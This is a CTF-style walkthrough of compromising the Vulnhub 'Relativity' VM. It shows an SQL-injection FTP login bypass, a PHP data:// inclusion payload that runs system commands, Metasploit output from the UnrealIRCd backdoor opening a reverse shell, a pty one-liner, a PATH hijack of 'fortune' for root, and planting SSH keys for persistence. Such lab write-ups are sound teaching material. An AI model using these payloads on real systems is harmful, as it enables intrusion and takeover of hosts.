I selected the Relativity VM from Vulnhub as my next home lab target. The objective is to read /root/flag.txt. Let’s get started!
nmap -A -p1-65535 192.168.80.128
Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-10 16:46 EEST
Nmap scan report for 192.168.80.128
Host is up (0.00058s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp
22/tcp open ssh OpenSSH 5.9 (protocol 2.0)
| 1024 42:d0:50:45:6c:4f:6a:25:d9:5e:d4:7d:12:26:04:ef (DSA)
|_ 2048 1b:e9:72:2b:8a:0b:57:0a:4b:ad:3d:06:62:94:29:02 (RSA)
80/tcp open http Apache httpd 2.2.23 ((Fedora))
|_http-title: M.C. Escher - Relativity
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
MAC Address: 00:0C:29:9F:1D:0E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Relativity
The web server doesn’t seem to serve anything else than an image. I ran Nikto and Dirbuster on it but didn’t find anything. Next I hit the FTP server. No anonymous login possible, but there was something interesting in the banner:
username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
username: %') and 1=2 union (select <name>,1,<uid>,<gid>,0x2F,0x2F62696E2F62617368); -- a
Neither worked, but I tinkered with the comment characters and found out that I could get in either by replacing the — with a #, or by inserting a space and random characters after the —:
220 Welcome to Relativity FTP (mod_sql)
Name (192.168.80.128:root): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #
331 Password required for username:.
230 User username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; # logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
Next, I found out an interesting looking directory:
257 "/" is current directory.
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 root root 4096 Mar 5 2013 0f756638e0737f4a0de1c53bf8937a08
-rw-r--r-- 1 root root 235423 Mar 5 2013 artwork.jpg
-rw-r--r-- 1 root root 130 Mar 5 2013 index.html
226 Transfer complete.
It seems we are in the root directory, but the html and image file hint at the web server. So I went to the website again and this time I tried to navigate to that new directory:
I looked around at the pages, noticed the URL when accessing them looks something like this: http://192.168.80.128/0f756638e0737f4a0de1c53bf8937a08/index.php?page=escher.php. So I tried some local file inclusion, but it didn’t get me anywhere. To get to the next step, I needed some external reading and inspiration. For the exploit, we can leverage PHP’s stream wrappers: PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize(). On this blog post there is a nice explanation and examples of how to get remote code execution by leveraging the data stream. If you look at the examples, you can see that the content passed as a base64 string is being interpreted.
Check page 9 of this pdf for a summary of this remote file inclusion technique. Bottom line: we can base64 encode PHP commands and feed them to the target. So to test this out:
# simple RFI
page=data://text/plain, <?php system("whoami");?>
# base64 encoded RFI
# mini shell
# base64 + URL encoded mini shell (didn't work without URL encoding)
And we are free to enumerate! Next thing I did was to read /etc/passwd (look at it in the source code of the page for better readability). This gave me the name of 2 users on the machine:
We can save this private key on our machine and use it to log in as mauk! After looking around without any major discoveries, I noticed this folder in /opt/:
[mauk@Relativity ~]$ ls -l /opt
drwx------ 13 jetta jetta 4096 May 20 18:32 Unreal
That means there is an Unreal IRCd server there! But I didn’t find one when port scanning. Looking at the listening programs, there is indeed an IRC server listening on localhost on port 6667:
[mauk@Relativity ~]$ netstat -lntp
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN -
The ircd server might be an avenue for privilege escalation to jetta:
But there was no netcat installed on the machine, so to find some information about the irc server, I set up SSH port forwarding so I can access it from my machine:
root@kali:~# ssh -L 4444:127.0.0.1:6667 firstname.lastname@example.org
Last login: Sat May 23 18:25:04 2015 from 192.168.80.130
And now I could port scan my local 4444 port to learn more:
root@kali:~# nmap -A -sV 127.0.0.1 4444
Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-23 16:31 EEST
setup_target: failed to determine route to 4444 (0.0.17.92)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000065s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
4444/tcp open irc Unreal ircd
| server: relativity.localdomain
| version: Unreal18.104.22.168. relativity.localdomain
| servers: 1
| users: 1
| lservers: 0
| lusers: 1
| uptime: 0 days, 0:51:08
| source host: rox-D2735CD4
|_ source ident: nmap
I googled the version and it contains a backdoor, and there is a Metasploit module for it. I fired up Metasploit and used against my localhost and port (remember the port forwarding), and got a shell as jetta! But if you want to know more about the backdoor and how to exploit it manually, read this.
msf exploit(unreal_ircd_3281_backdoor) > run
[*] Started reverse handler on 192.168.80.130:5555
[*] Connected to 127.0.0.1:4444...
:relativity.localdomain NOTICE AUTH :*** Looking up your hostname...
[*] Sending backdoor command...
[*] Command shell session 1 opened (192.168.80.130:5555 -> 192.168.80.128:41061) at 2015-05-23 17:18:12 +0300
In jetta’s home directory there is a directory named auth_server with a binary inside. I ran strings on it:
I then read this post about spawning a TTY shell and used the first of the choices for a proper shell:
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2$ sudo -l
Matching Defaults entries for jetta on this host:
requiretty, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY PATH", env_reset
User jetta may run the following commands on this host:
(root) NOPASSWD: /home/jetta/auth_server/auth_server
Excellent, so the key to getting root is in exploiting that binary we found earlier. I ran it to see what it does:
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
< There isn't any problem >
I ran it several times for fun, made a mental note to replace my fortune cookies at the end of the blog posts with cowsay fortune cookies because this is purely awesome, then looked at strings again. Looking at the line fortune -s | /usr/bin/cowsay, we see that the fortune command doesn’t use an absolute path. So we can create a program of our choosing called fortune and modify our PATH variable to start looking in the location of our program. At this point I tried several ways to get a local or reverse root shell but I kept getting errors that the fortune file is busy, so instead of running the exploit every time and then getting a TTY shell on top of it, I thought maybe I can log in directly as jetta now and work from there. So I made a .ssh directory inside jetta’s home folder and copied there mauk’s authorized_keys file (remember the permissions were too lax). So now I could directly ssh as jetta and try again for the shell.